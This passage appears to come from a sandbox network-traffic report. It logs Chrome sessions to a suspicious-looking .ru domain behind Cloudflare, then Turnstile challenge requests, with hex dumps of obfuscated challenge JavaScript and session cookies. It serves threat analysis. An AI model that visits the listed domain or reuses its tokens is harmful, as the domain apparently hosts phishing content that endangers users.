2024-12-09 23:06:39 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49722	172.67.214.152	443	4292	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 23:06:40 UTC	1318	OUT	GET /favicon.ico HTTP/1.1 Host: wfdd.htqeuifpr.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://wfdd.htqeuifpr.ru/rNn4/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjV3YkJ6Q0RzQWV2MWQ0NXIrS2E1UWc9PSIsInZhbHVlIjoiajUrRHJYMndXS2NNaEdvWDVyTGFjcWNMODVhbkl1ZVVhODBVQUVwQjMySHIvQzh4WHVFcGhNMHNFc3JNdkZiTEVaWHM5NTU1dDNyT0pjUmlKMDBQRWl1MHU0bU83S2tvWHYxeUpZT3lxSUNOZ0ZrT0NULzhHRjJSUFR2SkFBL1YiLCJtYWMiOiJlYzcwMWYxMGRiZjlkYmY1ODYxMGE3YmYyYmZiMDMyYmMzODkxN2EwNWYyZGMwOGZhNDA2NGMzZjkxNGMwYTVmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlhJQ1J2WndUaUhKZkZxOTkzbmpJUGc9PSIsInZhbHVlIjoiTDFLb1E5bVNvdkduQmNqemhzV0VaYUY2ZlB6SjRjTzllMURSQ1pPenNCcUJhcXFLWFZZS2F4TlpEWDk2c2tsZUhTOXZteTRFcGxTeGVLcG9OL010eGQxTUpMTCtKNDQ4TGdnT3NGdW1GRTQ3QTcyRi9Rays4VlNUVGNlZzBDc3ciLCJtYWMiOiI5NDA1YTNjYjExNTU1NmRhNzk2NTI4ODZjYTc0YjE3YTY5MTFiZWQ2NjkzYmQ4Zjg5OWNhYjc2Yzg5YjJkMDZhIiwidGFnIjoiIn0%3D
2024-12-09 23:06:40 UTC	1069	IN	HTTP/1.1 404 Not Found Date: Mon, 09 Dec 2024 23:06:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zq3rFptvME5qTeoKQxEbxJCwYERKArlkqjVqUsQGWX5CkCaZnEFNhvJy%2Bu6HOdC%2B16aKQEb7X1WfbX66Zxf4rabLugrdzj31gShryP4vKzaHX2ibDeQRlnMj7VCuZA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=14529&min_rtt=14521&rtt_var=4100&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2250&delivery_rate=195295&cwnd=252&unsent_bytes=0&cid=c36efc641a04d58f&ts=157&x=0" CF-Cache-Status: HIT Age: 10456 Server: cloudflare CF-RAY: 8ef8a5a20c1d0f5d-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1575&min_rtt=1525&rtt_var=672&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1896&delivery_rate=1516095&cwnd=227&unsent_bytes=0&cid=68fb59ebdb24fbfe&ts=9694&x=0"
2024-12-09 23:06:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49749	104.18.94.41	443	4292	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 23:06:40 UTC	385	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 23:06:41 UTC	240	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 23:06:41 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8ef8a5a7cc34c434-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 23:06:41 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49750	104.18.94.41	443	4292	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 23:06:41 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8ef8a58f8fb7c32b&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 23:06:41 UTC	331	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 23:06:41 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 121634 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8ef8a5aa5ff7f5f8-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 23:06:41 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 78 45 4a 58 34 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.xEJX4={"metadata":{"challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support","challenge.privacy_link":"http
2024-12-09 23:06:41 UTC	1369	IN	Data Raw: 5f 65 78 70 69 72 65 64 22 3a 22 45 78 70 69 72 65 64 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 6f 6f 74 65 72 5f 74 65 72 6d 73 22 3a 22 54 65 72 6d 73 22 2c 22 69 6e 76 61 6c 69 64 5f 73 69 74 65 6b 65 79 22 3a 22 49 6e 76 61 6c 69 64 25 32 30 73 69 74 65 6b 65 79 2e 25 32 30 43 6f 6e 74 61 63 74 25 32 30 74 68 65 25 32 30 53 69 74 65 25 32 30 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 25 32 30 69 66 25 32 30 74 68 69 73 25 32 30 70 72 6f 62 6c 65 6d 25 32 30 70 65 72 73 69 73 74 73 2e 22 2c 22 74 65 73 74 69 6e 67 5f 6f 6e 6c 79 5f 61 6c 77 61 79 73 5f 70 61 73 73 22 3a 22 54 65 73 74 69 6e 67 25 32 30 6f 6e 6c 79 25 32 43 25 32 30 61 6c 77 61 79 73 25 32 30 70 61 73 73 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 76 65 72 69 66 79 69 6e 67 22 3a 22 56 65 72 Data Ascii: _expired":"Expired","turnstile_footer_terms":"Terms","invalid_sitekey":"Invalid%20sitekey.%20Contact%20the%20Site%20Administrator%20if%20this%20problem%20persists.","testing_only_always_pass":"Testing%20only%2C%20always%20pass.","turnstile_verifying":"Ver
2024-12-09 23:06:41 UTC	1369	IN	Data Raw: 66 4b 2c 66 4c 2c 66 56 2c 67 36 2c 67 61 2c 67 65 2c 67 68 2c 67 69 2c 67 66 2c 67 67 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 67 49 28 37 37 30 29 29 2f 31 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 36 32 31 29 29 2f 32 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 34 35 31 29 29 2f 33 2b 70 61 72 73 65 49 6e 74 28 67 49 28 33 31 32 29 29 2f 34 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 32 38 34 29 29 2f 35 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 33 33 37 29 29 2f 36 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 35 35 35 29 29 2f 37 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 Data Ascii: fK,fL,fV,g6,ga,ge,gh,gi,gf,gg){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=-parseInt(gI(770))/1(-parseInt(gI(621))/2)+-parseInt(gI(451))/3+parseInt(gI(312))/4(-parseInt(gI(1284))/5)+parseInt(gI(1337))/6+-parseInt(gI(555))/7*(-parseInt(gI
2024-12-09 23:06:41 UTC	1369	IN	Data Raw: 36 30 37 29 5d 28 49 2c 27 2a 27 29 29 7d 29 7d 29 2c 6e 28 29 2c 68 28 6e 5b 68 62 28 31 32 35 31 29 5d 29 2c 6e 5b 68 62 28 36 30 36 29 5d 28 73 2c 68 62 28 35 37 37 29 2c 68 62 28 31 35 31 35 29 29 29 3a 68 5e 3d 6a 5b 68 62 28 31 30 32 34 29 5d 28 6d 29 7d 29 2c 63 3d 65 4d 5b 68 61 28 31 32 31 29 5d 28 63 29 2c 69 3d 5b 5d 2c 67 3d 2d 31 3b 21 69 73 4e 61 4e 28 6b 3d 63 5b 68 61 28 31 30 32 34 29 5d 28 2b 2b 67 29 29 3b 69 5b 68 61 28 31 35 32 30 29 5d 28 53 74 72 69 6e 67 5b 68 61 28 37 36 34 29 5d 28 66 5b 68 61 28 31 34 31 31 29 5d 28 66 5b 68 61 28 31 31 35 38 29 5d 28 28 6b 26 32 35 35 2e 30 35 29 2d 68 2c 67 25 36 35 35 33 35 29 2c 36 35 35 33 35 29 25 32 35 35 29 29 29 3b 72 65 74 75 72 6e 20 69 5b 68 61 28 35 32 38 29 5d 28 27 27 29 7d 2c 65 Data Ascii: 607)](I,'*'))})}),n(),h(n[hb(1251)]),n[hb(606)](s,hb(577),hb(1515))):h^=j[hb(1024)](m)}),c=eM[ha(121)](c),i=[],g=-1;!isNaN(k=c[ha(1024)](++g));i[ha(1520)](String[ha(764)](f[ha(1411)](f[ha(1158)]((k&255.05)-h,g%65535),65535)%255)));return i[ha(528)]('')},e
2024-12-09 23:06:41 UTC	1369	IN	Data Raw: 31 32 36 29 5d 28 68 5b 44 5d 29 2c 68 6a 28 31 30 39 30 29 3d 3d 3d 6f 5b 68 6a 28 33 31 39 29 5d 28 69 2c 44 29 3f 6f 5b 68 6a 28 32 30 33 29 5d 28 73 2c 69 2b 44 2c 45 29 3a 46 7c 7c 73 28 6f 5b 68 6a 28 33 31 39 29 5d 28 69 2c 44 29 2c 68 5b 44 5d 29 29 3a 73 28 69 2b 44 2c 45 29 2c 43 2b 2b 29 3b 72 65 74 75 72 6e 20 6a 3b 66 75 6e 63 74 69 6f 6e 20 73 28 47 2c 48 2c 68 6b 29 7b 68 6b 3d 68 6a 2c 4f 62 6a 65 63 74 5b 68 6b 28 31 31 38 38 29 5d 5b 68 6b 28 31 31 34 29 5d 5b 68 6b 28 34 38 36 29 5d 28 6a 2c 48 29 7c 7c 28 6a 5b 48 5d 3d 5b 5d 29 2c 6a 5b 48 5d 5b 68 6b 28 31 35 32 30 29 5d 28 47 29 7d 7d 2c 66 34 3d 67 4a 28 31 35 38 29 5b 67 4a 28 35 36 34 29 5d 28 27 3b 27 29 2c 66 35 3d 66 34 5b 67 4a 28 31 33 35 32 29 5d 5b 67 4a 28 39 36 38 29 5d Data Ascii: 126)](h[D]),hj(1090)===o[hj(319)](i,D)?o[hj(203)](s,i+D,E):F\|\|s(o[hj(319)](i,D),h[D])):s(i+D,E),C++);return j;function s(G,H,hk){hk=hj,Object[hk(1188)][hk(114)][hk(486)](j,H)\|\|(j[H]=[]),j[H][hk(1520)](G)}},f4=gJ(158)[gJ(564)](';'),f5=f4[gJ(1352)][gJ(968)]
2024-12-09 23:06:41 UTC	1369	IN	Data Raw: 5d 5b 68 71 28 39 31 37 29 5d 2c 27 63 66 43 68 6c 4f 75 74 53 27 3a 65 4d 5b 68 71 28 36 33 39 29 5d 5b 68 71 28 38 35 37 29 5d 2c 27 63 6f 64 65 27 3a 68 71 28 31 31 35 39 29 2c 27 72 63 56 27 3a 65 4d 5b 68 71 28 36 33 39 29 5d 5b 68 71 28 36 35 34 29 5d 7d 2c 27 2a 27 29 29 3a 64 5b 68 71 28 34 32 38 29 5d 5b 68 71 28 34 33 33 29 5d 28 68 71 28 31 32 32 32 29 29 29 7d 2c 67 29 7d 2c 65 4d 5b 67 4a 28 35 39 30 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 66 2c 67 2c 68 2c 68 72 2c 69 2c 48 2c 49 2c 4a 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 2c 73 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 29 7b 69 3d 28 68 72 3d 67 4a 2c 7b 27 6a 67 4a 74 7a 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 3e 3e 3e 48 7d 2c 27 52 4e 4c 59 50 27 3a 66 75 6e 63 74 69 Data Ascii: ][hq(917)],'cfChlOutS':eM[hq(639)][hq(857)],'code':hq(1159),'rcV':eM[hq(639)][hq(654)]},'*')):d[hq(428)][hq(433)](hq(1222)))},g)},eM[gJ(590)]=function(f,g,h,hr,i,H,I,J,j,k,l,m,n,o,s,x,B,C,D,E,F){i=(hr=gJ,{'jgJtz':function(G,H){return G>>>H},'RNLYP':functi
2024-12-09 23:06:41 UTC	1369	IN	Data Raw: 3d 69 5b 68 72 28 31 36 30 34 29 5d 28 69 5b 68 72 28 31 36 30 34 29 5d 28 69 5b 68 72 28 37 35 37 29 5d 28 69 5b 68 72 28 37 35 37 29 5d 28 69 5b 68 72 28 31 34 39 36 29 5d 28 69 5b 68 72 28 31 39 33 29 5d 2c 42 29 2b 68 72 28 37 33 37 29 2b 31 2b 68 72 28 31 30 36 35 29 2c 65 4d 5b 68 72 28 36 33 39 29 5d 5b 68 72 28 34 39 30 29 5d 29 2c 27 2f 27 29 2c 65 4d 5b 68 72 28 36 33 39 29 5d 2e 63 48 29 2b 27 2f 27 2c 65 4d 5b 68 72 28 36 33 39 29 5d 5b 68 72 28 31 35 37 38 29 5d 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 27 3a 6e 3d 28 6d 3d 7b 7d 2c 6d 5b 68 72 28 31 32 30 39 29 5d 3d 66 2c 6d 5b 68 72 28 39 35 39 29 5d 3d 46 2c 6d 2e 63 63 3d 67 2c 6d 5b 68 72 28 36 31 32 29 5d 3d 44 2c 6d 5b 68 72 28 31 35 30 31 29 5d 3d 73 2c 4a 53 4f 4e 5b 68 72 Data Ascii: =i[hr(1604)](i[hr(1604)](i[hr(757)](i[hr(757)](i[hr(1496)](i[hr(193)],B)+hr(737)+1+hr(1065),eM[hr(639)][hr(490)]),'/'),eM[hr(639)].cH)+'/',eM[hr(639)][hr(1578)]);continue;case'1':n=(m={},m[hr(1209)]=f,m[hr(959)]=F,m.cc=g,m[hr(612)]=D,m[hr(1501)]=s,JSON[hr
2024-12-09 23:06:41 UTC	1369	IN	Data Raw: 63 74 69 6f 6e 28 6e 2c 6f 2c 73 29 7b 72 65 74 75 72 6e 20 6e 28 6f 2c 73 29 7d 7d 2c 64 20 69 6e 73 74 61 6e 63 65 6f 66 20 45 72 72 6f 72 29 3f 65 5b 68 73 28 35 31 31 29 5d 21 3d 3d 65 5b 68 73 28 35 31 31 29 5d 3f 28 6f 3d 6c 2e 68 5b 65 5b 68 73 28 31 30 30 33 29 5d 28 34 37 2c 6d 2e 67 29 5d 5b 33 5d 5e 65 5b 68 73 28 31 33 35 29 5d 28 6e 2e 68 5b 65 5b 68 73 28 33 39 39 29 5d 28 34 37 2c 6f 2e 67 29 5d 5b 31 5d 5b 68 73 28 31 30 32 34 29 5d 28 73 2e 68 5b 65 5b 68 73 28 31 30 30 33 29 5d 28 34 37 2c 76 2e 67 29 5d 5b 30 5d 2b 2b 29 2d 31 32 30 2c 32 35 36 29 26 32 35 35 2c 78 7c 3d 28 31 32 37 2e 32 33 26 6f 29 3c 3c 42 2c 43 2b 3d 37 29 3a 28 66 3d 64 5b 68 73 28 31 31 37 39 29 5d 2c 64 5b 68 73 28 39 32 31 29 5d 26 26 65 5b 68 73 28 38 34 37 29 Data Ascii: ction(n,o,s){return n(o,s)}},d instanceof Error)?e[hs(511)]!==e[hs(511)]?(o=l.h[e[hs(1003)](47,m.g)][3]^e[hs(135)](n.h[e[hs(399)](47,o.g)][1][hs(1024)](s.h[e[hs(1003)](47,v.g)][0]++)-120,256)&255,x\|=(127.23&o)<<B,C+=7):(f=d[hs(1179)],d[hs(921)]&&e[hs(847)
2024-12-09 23:06:41 UTC	1369	IN	Data Raw: 29 7b 73 77 69 74 63 68 28 6f 5b 73 2b 2b 5d 29 7b 63 61 73 65 27 30 27 3a 78 28 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 27 3a 6f 28 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 32 27 3a 42 26 26 48 28 49 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 33 27 3a 45 5b 69 5b 68 75 28 31 31 33 36 29 5d 5d 26 26 4a 5b 69 5b 68 75 28 31 31 33 36 29 5d 5d 5b 68 75 28 36 30 37 29 5d 28 7b 27 73 6f 75 72 63 65 27 3a 69 5b 68 75 28 31 37 37 29 5d 2c 27 77 69 64 67 65 74 49 64 27 3a 4b 5b 68 75 28 36 33 39 29 5d 5b 68 75 28 31 32 32 35 29 5d 2c 27 65 76 65 6e 74 27 3a 68 75 28 31 35 30 38 29 7d 2c 27 2a 27 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 34 27 3a 6e 3d 21 5b 5d 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 35 27 3a 69 5b 68 75 28 32 38 Data Ascii: ){switch(o[s++]){case'0':x();continue;case'1':o();continue;case'2':B&&H(I);continue;case'3':E[i[hu(1136)]]&&J[i[hu(1136)]][hu(607)]({'source':i[hu(177)],'widgetId':K[hu(639)][hu(1225)],'event':hu(1508)},'*');continue;case'4':n=![];continue;case'5':i[hu(28
2024-12-09 23:06:41 UTC	1369	IN	Data Raw: 68 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 3c 3c 67 7d 2c 27 52 54 76 6e 68 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 67 7c 66 7d 2c 27 6e 63 59 51 67 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 3c 3c 67 7d 2c 27 50 65 58 43 41 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 3d 3d 67 7d 2c 27 59 66 49 76 62 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 28 67 29 7d 2c 27 49 42 54 72 79 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 67 3d 3d 66 7d 2c 27 6b 58 77 62 61 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 3e 67 7d 2c 27 7a 65 42 54 76 27 3a 66 75 6e 63 74 69 6f 6e 28 Data Ascii: h':function(f,g){return f<<g},'RTvnh':function(f,g){return g\|f},'ncYQg':function(f,g){return f<<g},'PeXCA':function(f,g){return f==g},'YfIvb':function(f,g){return f(g)},'IBTry':function(f,g){return g==f},'kXwba':function(f,g){return f>g},'zeBTv':function(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49751	104.18.95.41	443	4292	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 23:06:41 UTC	1171	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1335793016:1733771998:3avIQcPy4EiUdg7zUMFs2C6dHrRFD8w5Dr-egB8X9SQ/8ef8a58f8fb7c32b/9PRLONVT86JiwqOL7iNrcfSin_PHVCgLbzXLm9aB8P8-1733785597-1.1.1.1-BVJzqMD9YxGleexvl7UQj309yu0VcJNDJcs22pQh3nKZHYPtXVZ9..gI27CzUlx8 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3291 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 9PRLONVT86JiwqOL7iNrcfSin_PHVCgLbzXLm9aB8P8-1733785597-1.1.1.1-BVJzqMD9YxGleexvl7UQj309yu0VcJNDJcs22pQh3nKZHYPtXVZ9..gI27CzUlx8 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/66847/0x4AAAAAAA0q5dJB-oRzPFUW/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 23:06:41 UTC	3291	OUT	Data Raw: 76 5f 38 65 66 38 61 35 38 66 38 66 62 37 63 33 32 62 3d 48 41 34 66 63 66 4a 66 46 66 64 66 59 66 6d 6f 35 6e 6f 35 33 53 66 45 62 79 73 30 7a 62 65 58 50 35 25 32 62 70 35 63 78 66 36 31 35 6a 66 30 41 35 52 35 6b 65 70 35 7a 42 55 66 63 70 35 75 66 7a 57 37 33 35 56 65 66 35 7a 64 45 35 4a 69 33 35 30 78 36 69 73 70 74 66 55 35 5a 48 35 4a 43 55 31 78 78 64 33 35 6d 6e 38 45 45 56 53 5a 78 35 4f 45 64 37 66 35 75 35 70 66 64 6d 4f 31 43 5a 69 30 36 44 6d 53 41 32 67 2b 68 43 53 6b 6b 30 77 36 34 35 52 73 57 65 70 66 36 37 31 56 39 69 24 34 34 34 68 52 62 34 74 2b 68 37 68 55 66 43 61 48 78 59 35 34 57 53 34 35 65 4c 35 79 34 35 6e 68 59 69 35 45 38 78 51 35 63 52 4b 35 65 70 35 38 38 24 35 64 33 35 4e 66 36 59 48 69 30 77 65 65 34 35 37 74 78 62 35 63 Data Ascii: v_8ef8a58f8fb7c32b=HA4fcfJfFfdfYfmo5no53SfEbys0zbeXP5%2bp5cxf615jf0A5R5kep5zBUfcp5ufzW735Vef5zdE5Ji350x6isptfU5ZH5JCU1xxd35mn8EEVSZx5OEd7f5u5pfdmO1CZi06DmSA2g+hCSkk0w645RsWepf671V9i$444hRb4t+h7hUfCaHxY54WS45eL5y45nhYi5E8xQ5cRK5ep588$5d35Nf6YHi0wee457txb5c
2024-12-09 23:06:42 UTC	747	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 23:06:41 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 149632 Connection: close cf-chl-gen: yfP2szQifFr+8d3gUKTcjKea13MLIQB6R/jgx0P/74cN5/STfLQNcZ7W89JHnjxK6JrOLNzyGTOVWfDa1CX9dxUaP540chbMj8h74vEF5MAFtuMpRb14LXzGMAXNqb89ymW2HmBnuI1kDETIpjC+Yb3Kt+OdVH828s8CnMFXzsp2SJqX4RyKN15Vb7wnZvTRohg5G9JprHpfWJxC1FxOv6oLes0OwUaIovhWYXjC1+oGgBRJmEnmQpT52mdvxcMMyETog0vfhM0M4VYOOCbyl//zjXQ379Sn/4aNWwSoz5wbPZFyp7ccm0SxK6L3JsErPV0GMx1U4q141sSpN8mVCWiX7zwBPi450419jwJBwxfp3n59zqZ54mmm+EKsK9Mk8WBjXdXX4pV69RgMKfreDdzbXAF4/ojSoHGtqTHvxyFQ+UFTnu4FibWRkARZ0CFVXnwZLyofWPb3mC0A3YlczE6HTojpdvhZHTBlhI2cmoLr0t0=$P82SDMJIQPokeCSh Server: cloudflare CF-RAY: 8ef8a5aaaa5c421b-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 23:06:42 UTC	622	IN	Data Raw: 72 6e 32 52 6e 61 4b 47 74 4b 43 39 72 6f 75 62 70 49 36 31 6b 37 4c 59 74 4a 61 79 70 74 65 34 32 71 6d 2b 73 38 32 62 78 62 44 50 77 37 33 6e 74 62 37 47 33 62 62 64 38 4b 6d 70 33 4f 48 54 34 75 6e 32 31 50 54 79 73 37 33 63 33 64 6e 76 76 4e 62 4d 33 37 7a 48 39 66 6f 4c 79 51 33 4d 2f 75 6f 53 45 65 34 46 42 65 55 48 44 63 72 6c 43 4e 62 32 39 67 2f 75 41 4f 41 45 48 2f 62 69 2b 64 30 6d 34 76 33 68 4a 2f 58 6b 2b 65 62 6e 2f 50 73 4f 39 42 6a 33 43 2b 38 4b 45 79 38 6e 45 52 67 30 45 54 41 53 49 43 42 45 52 55 59 41 41 54 70 4b 42 41 55 6e 4c 54 41 6e 55 56 59 57 4c 43 30 6f 47 54 77 30 57 54 64 53 47 45 78 64 58 6a 31 64 55 79 64 57 48 30 56 72 51 47 70 45 63 46 70 69 59 48 4a 49 55 79 78 52 52 44 42 37 63 30 73 7a 63 7a 6c 64 54 6e 35 37 62 33 78 Data Ascii: rn2RnaKGtKC9roubpI61k7LYtJaypte42qm+s82bxbDPw73ntb7G3bbd8Kmp3OHT4un21PTys73c3dnvvNbM37zH9foLyQ3M/uoSEe4FBeUHDcrlCNb29g/uAOAEH/bi+d0m4v3hJ/Xk+ebn/PsO9Bj3C+8KEy8nERg0ETASICBERUYAATpKBAUnLTAnUVYWLC0oGTw0WTdSGExdXj1dUydWH0VrQGpEcFpiYHJIUyxRRDB7c0szczldTn57b3x
2024-12-09 23:06:42 UTC	1369	IN	Data Raw: 4b 49 6d 31 52 57 5a 32 74 76 65 59 4e 67 64 6e 61 58 65 6c 75 6e 71 57 6d 59 70 34 4a 75 59 34 32 6d 74 4b 43 50 73 62 69 6a 70 36 71 63 76 72 2b 49 76 6f 78 38 67 70 71 5a 66 35 5a 36 6e 62 50 46 77 6f 53 74 72 34 72 44 76 4a 75 79 6c 5a 2b 70 77 73 4b 31 6c 4c 79 57 6c 74 6e 62 31 4b 79 31 74 38 58 50 35 4b 6a 54 77 75 57 32 77 38 44 5a 35 64 48 6f 77 50 44 67 77 4d 62 7a 74 4c 4c 6f 33 64 69 32 37 77 4c 77 37 50 36 32 78 4c 37 42 38 4e 62 65 42 4f 41 4d 41 74 66 71 33 67 62 7a 33 2b 6f 56 38 39 48 51 36 2f 41 4e 45 2f 6a 32 45 51 4c 77 47 68 62 6c 44 78 58 6b 38 79 67 4e 44 75 51 5a 43 52 34 54 38 66 77 6c 4c 75 67 6e 43 7a 